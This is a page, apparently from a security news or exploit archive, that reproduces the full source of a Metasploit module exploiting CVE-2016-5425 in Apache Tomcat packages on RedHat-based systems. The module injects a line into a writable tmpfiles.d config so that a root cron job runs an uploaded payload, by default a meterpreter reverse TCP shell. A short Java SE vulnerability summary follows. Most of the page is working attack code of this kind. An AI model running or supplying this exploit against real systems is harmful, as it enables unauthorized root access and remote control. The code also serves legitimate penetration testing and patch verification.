Headline
Apache Tomcat Privilege Escalation
This Metasploit module exploits a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8. The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. With this weak permission, you are able to inject commands into the systemd-tmpfiles service to write a cron job to execute a payload. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service. Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. This module was tested against Tomcat 7.0.54-3 on Fedora 21.
##### This exploit sample shows how an exploit module could be written to exploit# a bug in a command on a linux computer for priv esc.####class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::Retry include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8. This may also work against The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. With this weak permission, we're able to inject commands into systemd-tmpfiles service to write a cron job to execute our payload. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service. Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. This module was tested against Tomcat 7.0.54-3 on Fedora 21. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dawid Golunski <[email protected]>' # original PoC, analysis, discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 1800, # 30min 'payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'References' => [ ['EDB', '40488' ], ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'], ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'], ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info ['CVE', '2016-5425'] ], 'DisclosureDate' => '2016-10-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), ] end # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s end def tomcat_conf '/usr/lib/tmpfiles.d/tomcat.conf' end def suid?(file) get_suid_files(file).include? file end def check package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"') if package.nil? || package.empty? return CheckCode::Safe('Unable to execute command to determine installed pacakges') end package = package.sub('tomcat-', '').strip # fedora based cleanup package = package.sub(/\.fc\d\d\.noarch/, '') # rhel/centos based cleanup package = package.sub(/\.el\d_\d\.noarch/, '') package = Rex::Version.new(package) # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says # only 7 is effected, so we're going to go off their write-up. if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8') return CheckCode::Appears("Vulnerable app version detected: #{package}") end CheckCode::Safe("Unexploitable tomcat packages found: #{package}") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end unless writable? tomcat_conf fail_with Failure::BadConfig, "#{tomcat_conf} is not writable" end vprint_status("Creating backup of #{tomcat_conf}") @tomcat_conf_content = read_file(tomcat_conf) path = store_loot( tomcat_conf, 'text/plain', rhost, @tomcat_conf_content, 'tomcat.conf' ) print_good("Original #{tomcat_conf} backed up to #{path}") # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Uploading Payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup(payload_path) # write in our payload execution vprint_status("Writing permission elevation into #{tomcat_conf}") cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}" print_status("Creating cron job in #{cron_job}") # The POC shows 2 options, a cron answer, and copy bash answer. # Initially I attempted to copy our payload, set suid and root owner # however it seemed to need 2 service restart to apply all the permissions. # I never figured out why it was like that, even chaining copying bash in, then # launching the payload from the bash instance etc. We opt for the cron # which may take 1 additional minute, and rely on cron, but is much more stable cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}") register_file_for_cleanup(cron_job) # we now need systemd-tmpfiles to restart print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service") succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do file? cron_job end unless succeeded print_error("#{cron_job} not found, exploit aborted") return end print_status('Waiting on cron to execute the payload (~1 minute)') end def cleanup unless @tomcat_conf_content.nil? write_file(tomcat_conf, @tomcat_conf_content) end super endend
Related news
Vulnerability in the Java SE product of Oracle Java SE (component: Javadoc). Supported versions that are affected are Java SE: 7u231, 8u221, 11.0.4 and 13. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Java SE, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE accessible data as well as unauthorized read access to a subset of Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets (in Java SE 8), that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Ja...